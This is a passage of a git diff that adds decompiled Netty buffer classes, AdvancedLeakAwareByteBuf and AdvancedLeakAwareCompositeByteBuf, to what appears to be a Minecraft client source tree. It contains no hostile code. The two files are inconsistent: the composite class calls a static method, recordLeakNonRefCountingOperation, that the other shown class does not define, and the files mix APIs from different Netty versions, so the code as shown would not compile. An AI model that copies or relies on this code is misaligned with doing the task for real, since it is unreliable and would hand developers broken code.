+  protected abstract long _getLong(AbstractByteBuf paramAbstractByteBuf, int paramInt);
+  
+  protected abstract void _setShort(AbstractByteBuf paramAbstractByteBuf, int paramInt, short paramShort);
+  
+  protected abstract void _setInt(AbstractByteBuf paramAbstractByteBuf, int paramInt1, int paramInt2);
+  
+  protected abstract void _setLong(AbstractByteBuf paramAbstractByteBuf, int paramInt, long paramLong);
+}
diff --git a/src/minecraft/io/netty/buffer/AdvancedLeakAwareByteBuf.java b/src/minecraft/io/netty/buffer/AdvancedLeakAwareByteBuf.java
new file mode 100644
index 0000000..cd85645
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/AdvancedLeakAwareByteBuf.java
@@ -0,0 +1,724 @@
+package io.netty.buffer;
+
+import io.netty.util.ResourceLeak;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class AdvancedLeakAwareByteBuf
+  extends WrappedByteBuf
+{
+  private final ResourceLeak leak;
+  
+  AdvancedLeakAwareByteBuf(ByteBuf buf, ResourceLeak leak)
+  {
+    super(buf);
+    this.leak = leak;
+  }
+  
+  public boolean release()
+  {
+    boolean deallocated = super.release();
+    if (deallocated) {
+      leak.close();
+    } else {
+      leak.record();
+    }
+    return deallocated;
+  }
+  
+  public boolean release(int decrement)
+  {
+    boolean deallocated = super.release(decrement);
+    if (deallocated) {
+      leak.close();
+    } else {
+      leak.record();
+    }
+    return deallocated;
+  }
+  
+  public ByteBuf order(ByteOrder endianness)
+  {
+    leak.record();
+    if (order() == endianness) {
+      return this;
+    }
+    return new AdvancedLeakAwareByteBuf(super.order(endianness), leak);
+  }
+  
+
+  public ByteBuf slice()
+  {
+    leak.record();
+    return new AdvancedLeakAwareByteBuf(super.slice(), leak);
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    leak.record();
+    return new AdvancedLeakAwareByteBuf(super.slice(index, length), leak);
+  }
+  
+  public ByteBuf duplicate()
+  {
+    leak.record();
+    return new AdvancedLeakAwareByteBuf(super.duplicate(), leak);
+  }
+  
+  public ByteBuf readSlice(int length)
+  {
+    leak.record();
+    return new AdvancedLeakAwareByteBuf(super.readSlice(length), leak);
+  }
+  
+  public ByteBuf discardReadBytes()
+  {
+    leak.record();
+    return super.discardReadBytes();
+  }
+  
+  public ByteBuf discardSomeReadBytes()
+  {
+    leak.record();
+    return super.discardSomeReadBytes();
+  }
+  
+  public ByteBuf ensureWritable(int minWritableBytes)
+  {
+    leak.record();
+    return super.ensureWritable(minWritableBytes);
+  }
+  
+  public int ensureWritable(int minWritableBytes, boolean force)
+  {
+    leak.record();
+    return super.ensureWritable(minWritableBytes, force);
+  }
+  
+  public boolean getBoolean(int index)
+  {
+    leak.record();
+    return super.getBoolean(index);
+  }
+  
+  public byte getByte(int index)
+  {
+    leak.record();
+    return super.getByte(index);
+  }
+  
+  public short getUnsignedByte(int index)
+  {
+    leak.record();
+    return super.getUnsignedByte(index);
+  }
+  
+  public short getShort(int index)
+  {
+    leak.record();
+    return super.getShort(index);
+  }
+  
+  public int getUnsignedShort(int index)
+  {
+    leak.record();
+    return super.getUnsignedShort(index);
+  }
+  
+  public int getMedium(int index)
+  {
+    leak.record();
+    return super.getMedium(index);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    leak.record();
+    return super.getUnsignedMedium(index);
+  }
+  
+  public int getInt(int index)
+  {
+    leak.record();
+    return super.getInt(index);
+  }
+  
+  public long getUnsignedInt(int index)
+  {
+    leak.record();
+    return super.getUnsignedInt(index);
+  }
+  
+  public long getLong(int index)
+  {
+    leak.record();
+    return super.getLong(index);
+  }
+  
+  public char getChar(int index)
+  {
+    leak.record();
+    return super.getChar(index);
+  }
+  
+  public float getFloat(int index)
+  {
+    leak.record();
+    return super.getFloat(index);
+  }
+  
+  public double getDouble(int index)
+  {
+    leak.record();
+    return super.getDouble(index);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst)
+  {
+    leak.record();
+    return super.getBytes(index, dst);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int length)
+  {
+    leak.record();
+    return super.getBytes(index, dst, length);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    leak.record();
+    return super.getBytes(index, dst, dstIndex, length);
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst)
+  {
+    leak.record();
+    return super.getBytes(index, dst);
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    leak.record();
+    return super.getBytes(index, dst, dstIndex, length);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    leak.record();
+    return super.getBytes(index, dst);
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    leak.record();
+    return super.getBytes(index, out, length);
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    leak.record();
+    return super.getBytes(index, out, length);
+  }
+  
+  public ByteBuf setBoolean(int index, boolean value)
+  {
+    leak.record();
+    return super.setBoolean(index, value);
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    leak.record();
+    return super.setByte(index, value);
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    leak.record();
+    return super.setShort(index, value);
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    leak.record();
+    return super.setMedium(index, value);
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    leak.record();
+    return super.setInt(index, value);
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    leak.record();
+    return super.setLong(index, value);
+  }
+  
+  public ByteBuf setChar(int index, int value)
+  {
+    leak.record();
+    return super.setChar(index, value);
+  }
+  
+  public ByteBuf setFloat(int index, float value)
+  {
+    leak.record();
+    return super.setFloat(index, value);
+  }
+  
+  public ByteBuf setDouble(int index, double value)
+  {
+    leak.record();
+    return super.setDouble(index, value);
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src)
+  {
+    leak.record();
+    return super.setBytes(index, src);
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int length)
+  {
+    leak.record();
+    return super.setBytes(index, src, length);
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    leak.record();
+    return super.setBytes(index, src, srcIndex, length);
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src)
+  {
+    leak.record();
+    return super.setBytes(index, src);
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    leak.record();
+    return super.setBytes(index, src, srcIndex, length);
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    leak.record();
+    return super.setBytes(index, src);
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    leak.record();
+    return super.setBytes(index, in, length);
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    leak.record();
+    return super.setBytes(index, in, length);
+  }
+  
+  public ByteBuf setZero(int index, int length)
+  {
+    leak.record();
+    return super.setZero(index, length);
+  }
+  
+  public boolean readBoolean()
+  {
+    leak.record();
+    return super.readBoolean();
+  }
+  
+  public byte readByte()
+  {
+    leak.record();
+    return super.readByte();
+  }
+  
+  public short readUnsignedByte()
+  {
+    leak.record();
+    return super.readUnsignedByte();
+  }
+  
+  public short readShort()
+  {
+    leak.record();
+    return super.readShort();
+  }
+  
+  public int readUnsignedShort()
+  {
+    leak.record();
+    return super.readUnsignedShort();
+  }
+  
+  public int readMedium()
+  {
+    leak.record();
+    return super.readMedium();
+  }
+  
+  public int readUnsignedMedium()
+  {
+    leak.record();
+    return super.readUnsignedMedium();
+  }
+  
+  public int readInt()
+  {
+    leak.record();
+    return super.readInt();
+  }
+  
+  public long readUnsignedInt()
+  {
+    leak.record();
+    return super.readUnsignedInt();
+  }
+  
+  public long readLong()
+  {
+    leak.record();
+    return super.readLong();
+  }
+  
+  public char readChar()
+  {
+    leak.record();
+    return super.readChar();
+  }
+  
+  public float readFloat()
+  {
+    leak.record();
+    return super.readFloat();
+  }
+  
+  public double readDouble()
+  {
+    leak.record();
+    return super.readDouble();
+  }
+  
+  public ByteBuf readBytes(int length)
+  {
+    leak.record();
+    return super.readBytes(length);
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst)
+  {
+    leak.record();
+    return super.readBytes(dst);
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int length)
+  {
+    leak.record();
+    return super.readBytes(dst, length);
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int dstIndex, int length)
+  {
+    leak.record();
+    return super.readBytes(dst, dstIndex, length);
+  }
+  
+  public ByteBuf readBytes(byte[] dst)
+  {
+    leak.record();
+    return super.readBytes(dst);
+  }
+  
+  public ByteBuf readBytes(byte[] dst, int dstIndex, int length)
+  {
+    leak.record();
+    return super.readBytes(dst, dstIndex, length);
+  }
+  
+  public ByteBuf readBytes(ByteBuffer dst)
+  {
+    leak.record();
+    return super.readBytes(dst);
+  }
+  
+  public ByteBuf readBytes(OutputStream out, int length) throws IOException
+  {
+    leak.record();
+    return super.readBytes(out, length);
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length) throws IOException
+  {
+    leak.record();
+    return super.readBytes(out, length);
+  }
+  
+  public ByteBuf skipBytes(int length)
+  {
+    leak.record();
+    return super.skipBytes(length);
+  }
+  
+  public ByteBuf writeBoolean(boolean value)
+  {
+    leak.record();
+    return super.writeBoolean(value);
+  }
+  
+  public ByteBuf writeByte(int value)
+  {
+    leak.record();
+    return super.writeByte(value);
+  }
+  
+  public ByteBuf writeShort(int value)
+  {
+    leak.record();
+    return super.writeShort(value);
+  }
+  
+  public ByteBuf writeMedium(int value)
+  {
+    leak.record();
+    return super.writeMedium(value);
+  }
+  
+  public ByteBuf writeInt(int value)
+  {
+    leak.record();
+    return super.writeInt(value);
+  }
+  
+  public ByteBuf writeLong(long value)
+  {
+    leak.record();
+    return super.writeLong(value);
+  }
+  
+  public ByteBuf writeChar(int value)
+  {
+    leak.record();
+    return super.writeChar(value);
+  }
+  
+  public ByteBuf writeFloat(float value)
+  {
+    leak.record();
+    return super.writeFloat(value);
+  }
+  
+  public ByteBuf writeDouble(double value)
+  {
+    leak.record();
+    return super.writeDouble(value);
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src)
+  {
+    leak.record();
+    return super.writeBytes(src);
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int length)
+  {
+    leak.record();
+    return super.writeBytes(src, length);
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int srcIndex, int length)
+  {
+    leak.record();
+    return super.writeBytes(src, srcIndex, length);
+  }
+  
+  public ByteBuf writeBytes(byte[] src)
+  {
+    leak.record();
+    return super.writeBytes(src);
+  }
+  
+  public ByteBuf writeBytes(byte[] src, int srcIndex, int length)
+  {
+    leak.record();
+    return super.writeBytes(src, srcIndex, length);
+  }
+  
+  public ByteBuf writeBytes(ByteBuffer src)
+  {
+    leak.record();
+    return super.writeBytes(src);
+  }
+  
+  public int writeBytes(InputStream in, int length) throws IOException
+  {
+    leak.record();
+    return super.writeBytes(in, length);
+  }
+  
+  public int writeBytes(ScatteringByteChannel in, int length) throws IOException
+  {
+    leak.record();
+    return super.writeBytes(in, length);
+  }
+  
+  public ByteBuf writeZero(int length)
+  {
+    leak.record();
+    return super.writeZero(length);
+  }
+  
+  public int indexOf(int fromIndex, int toIndex, byte value)
+  {
+    leak.record();
+    return super.indexOf(fromIndex, toIndex, value);
+  }
+  
+  public int bytesBefore(byte value)
+  {
+    leak.record();
+    return super.bytesBefore(value);
+  }
+  
+  public int bytesBefore(int length, byte value)
+  {
+    leak.record();
+    return super.bytesBefore(length, value);
+  }
+  
+  public int bytesBefore(int index, int length, byte value)
+  {
+    leak.record();
+    return super.bytesBefore(index, length, value);
+  }
+  
+  public int forEachByte(ByteBufProcessor processor)
+  {
+    leak.record();
+    return super.forEachByte(processor);
+  }
+  
+  public int forEachByte(int index, int length, ByteBufProcessor processor)
+  {
+    leak.record();
+    return super.forEachByte(index, length, processor);
+  }
+  
+  public int forEachByteDesc(ByteBufProcessor processor)
+  {
+    leak.record();
+    return super.forEachByteDesc(processor);
+  }
+  
+  public int forEachByteDesc(int index, int length, ByteBufProcessor processor)
+  {
+    leak.record();
+    return super.forEachByteDesc(index, length, processor);
+  }
+  
+  public ByteBuf copy()
+  {
+    leak.record();
+    return super.copy();
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    leak.record();
+    return super.copy(index, length);
+  }
+  
+  public int nioBufferCount()
+  {
+    leak.record();
+    return super.nioBufferCount();
+  }
+  
+  public ByteBuffer nioBuffer()
+  {
+    leak.record();
+    return super.nioBuffer();
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    leak.record();
+    return super.nioBuffer(index, length);
+  }
+  
+  public ByteBuffer[] nioBuffers()
+  {
+    leak.record();
+    return super.nioBuffers();
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    leak.record();
+    return super.nioBuffers(index, length);
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    leak.record();
+    return super.internalNioBuffer(index, length);
+  }
+  
+  public String toString(Charset charset)
+  {
+    leak.record();
+    return super.toString(charset);
+  }
+  
+  public String toString(int index, int length, Charset charset)
+  {
+    leak.record();
+    return super.toString(index, length, charset);
+  }
+  
+  public ByteBuf retain()
+  {
+    leak.record();
+    return super.retain();
+  }
+  
+  public ByteBuf retain(int increment)
+  {
+    leak.record();
+    return super.retain(increment);
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    leak.record();
+    return super.capacity(newCapacity);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/AdvancedLeakAwareCompositeByteBuf.java b/src/minecraft/io/netty/buffer/AdvancedLeakAwareCompositeByteBuf.java
new file mode 100644
index 0000000..4eeff99
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/AdvancedLeakAwareCompositeByteBuf.java
@@ -0,0 +1,1060 @@
+package io.netty.buffer;
+
+import io.netty.util.ByteProcessor;
+import io.netty.util.ResourceLeak;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.FileChannel;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.nio.charset.Charset;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class AdvancedLeakAwareCompositeByteBuf
+  extends WrappedCompositeByteBuf
+{
+  private final ResourceLeak leak;
+  
+  AdvancedLeakAwareCompositeByteBuf(CompositeByteBuf wrapped, ResourceLeak leak)
+  {
+    super(wrapped);
+    this.leak = leak;
+  }
+  
+  public ByteBuf order(ByteOrder endianness)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    if (order() == endianness) {
+      return this;
+    }
+    return new AdvancedLeakAwareByteBuf(super.order(endianness), leak);
+  }
+  
+
+  public ByteBuf slice()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return new AdvancedLeakAwareByteBuf(super.slice(), leak);
+  }
+  
+  public ByteBuf retainedSlice()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return new AdvancedLeakAwareByteBuf(super.retainedSlice(), leak);
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return new AdvancedLeakAwareByteBuf(super.slice(index, length), leak);
+  }
+  
+  public ByteBuf retainedSlice(int index, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return new AdvancedLeakAwareByteBuf(super.retainedSlice(index, length), leak);
+  }
+  
+  public ByteBuf duplicate()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return new AdvancedLeakAwareByteBuf(super.duplicate(), leak);
+  }
+  
+  public ByteBuf retainedDuplicate()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return new AdvancedLeakAwareByteBuf(super.retainedDuplicate(), leak);
+  }
+  
+  public ByteBuf readSlice(int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return new AdvancedLeakAwareByteBuf(super.readSlice(length), leak);
+  }
+  
+  public ByteBuf readRetainedSlice(int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return new AdvancedLeakAwareByteBuf(super.readRetainedSlice(length), leak);
+  }
+  
+  public ByteBuf asReadOnly()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return new AdvancedLeakAwareByteBuf(super.asReadOnly(), leak);
+  }
+  
+  public boolean isReadOnly()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.isReadOnly();
+  }
+  
+  public CompositeByteBuf discardReadBytes()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.discardReadBytes();
+  }
+  
+  public CompositeByteBuf discardSomeReadBytes()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.discardSomeReadBytes();
+  }
+  
+  public CompositeByteBuf ensureWritable(int minWritableBytes)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.ensureWritable(minWritableBytes);
+  }
+  
+  public int ensureWritable(int minWritableBytes, boolean force)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.ensureWritable(minWritableBytes, force);
+  }
+  
+  public boolean getBoolean(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getBoolean(index);
+  }
+  
+  public byte getByte(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getByte(index);
+  }
+  
+  public short getUnsignedByte(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getUnsignedByte(index);
+  }
+  
+  public short getShort(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getShort(index);
+  }
+  
+  public int getUnsignedShort(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getUnsignedShort(index);
+  }
+  
+  public int getMedium(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getMedium(index);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getUnsignedMedium(index);
+  }
+  
+  public int getInt(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getInt(index);
+  }
+  
+  public long getUnsignedInt(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getUnsignedInt(index);
+  }
+  
+  public long getLong(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getLong(index);
+  }
+  
+  public char getChar(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getChar(index);
+  }
+  
+  public float getFloat(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getFloat(index);
+  }
+  
+  public double getDouble(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getDouble(index);
+  }
+  
+  public CompositeByteBuf getBytes(int index, ByteBuf dst)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getBytes(index, dst);
+  }
+  
+  public CompositeByteBuf getBytes(int index, ByteBuf dst, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getBytes(index, dst, length);
+  }
+  
+  public CompositeByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getBytes(index, dst, dstIndex, length);
+  }
+  
+  public CompositeByteBuf getBytes(int index, byte[] dst)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getBytes(index, dst);
+  }
+  
+  public CompositeByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getBytes(index, dst, dstIndex, length);
+  }
+  
+  public CompositeByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getBytes(index, dst);
+  }
+  
+  public CompositeByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getBytes(index, out, length);
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getBytes(index, out, length);
+  }
+  
+  public CharSequence getCharSequence(int index, int length, Charset charset)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getCharSequence(index, length, charset);
+  }
+  
+  public CompositeByteBuf setBoolean(int index, boolean value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setBoolean(index, value);
+  }
+  
+  public CompositeByteBuf setByte(int index, int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setByte(index, value);
+  }
+  
+  public CompositeByteBuf setShort(int index, int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setShort(index, value);
+  }
+  
+  public CompositeByteBuf setMedium(int index, int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setMedium(index, value);
+  }
+  
+  public CompositeByteBuf setInt(int index, int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setInt(index, value);
+  }
+  
+  public CompositeByteBuf setLong(int index, long value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setLong(index, value);
+  }
+  
+  public CompositeByteBuf setChar(int index, int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setChar(index, value);
+  }
+  
+  public CompositeByteBuf setFloat(int index, float value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setFloat(index, value);
+  }
+  
+  public CompositeByteBuf setDouble(int index, double value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setDouble(index, value);
+  }
+  
+  public CompositeByteBuf setBytes(int index, ByteBuf src)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setBytes(index, src);
+  }
+  
+  public CompositeByteBuf setBytes(int index, ByteBuf src, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setBytes(index, src, length);
+  }
+  
+  public CompositeByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setBytes(index, src, srcIndex, length);
+  }
+  
+  public CompositeByteBuf setBytes(int index, byte[] src)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setBytes(index, src);
+  }
+  
+  public CompositeByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setBytes(index, src, srcIndex, length);
+  }
+  
+  public CompositeByteBuf setBytes(int index, ByteBuffer src)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setBytes(index, src);
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setBytes(index, in, length);
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setBytes(index, in, length);
+  }
+  
+  public CompositeByteBuf setZero(int index, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setZero(index, length);
+  }
+  
+  public boolean readBoolean()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readBoolean();
+  }
+  
+  public byte readByte()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readByte();
+  }
+  
+  public short readUnsignedByte()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readUnsignedByte();
+  }
+  
+  public short readShort()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readShort();
+  }
+  
+  public int readUnsignedShort()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readUnsignedShort();
+  }
+  
+  public int readMedium()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readMedium();
+  }
+  
+  public int readUnsignedMedium()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readUnsignedMedium();
+  }
+  
+  public int readInt()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readInt();
+  }
+  
+  public long readUnsignedInt()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readUnsignedInt();
+  }
+  
+  public long readLong()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readLong();
+  }
+  
+  public char readChar()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readChar();
+  }
+  
+  public float readFloat()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readFloat();
+  }
+  
+  public double readDouble()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readDouble();
+  }
+  
+  public ByteBuf readBytes(int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readBytes(length);
+  }
+  
+  public CompositeByteBuf readBytes(ByteBuf dst)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readBytes(dst);
+  }
+  
+  public CompositeByteBuf readBytes(ByteBuf dst, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readBytes(dst, length);
+  }
+  
+  public CompositeByteBuf readBytes(ByteBuf dst, int dstIndex, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readBytes(dst, dstIndex, length);
+  }
+  
+  public CompositeByteBuf readBytes(byte[] dst)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readBytes(dst);
+  }
+  
+  public CompositeByteBuf readBytes(byte[] dst, int dstIndex, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readBytes(dst, dstIndex, length);
+  }
+  
+  public CompositeByteBuf readBytes(ByteBuffer dst)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readBytes(dst);
+  }
+  
+  public CompositeByteBuf readBytes(OutputStream out, int length) throws IOException
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readBytes(out, length);
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length) throws IOException
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readBytes(out, length);
+  }
+  
+  public CharSequence readCharSequence(int length, Charset charset)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readCharSequence(length, charset);
+  }
+  
+  public CompositeByteBuf skipBytes(int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.skipBytes(length);
+  }
+  
+  public CompositeByteBuf writeBoolean(boolean value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeBoolean(value);
+  }
+  
+  public CompositeByteBuf writeByte(int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeByte(value);
+  }
+  
+  public CompositeByteBuf writeShort(int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeShort(value);
+  }
+  
+  public CompositeByteBuf writeMedium(int value)
+  {
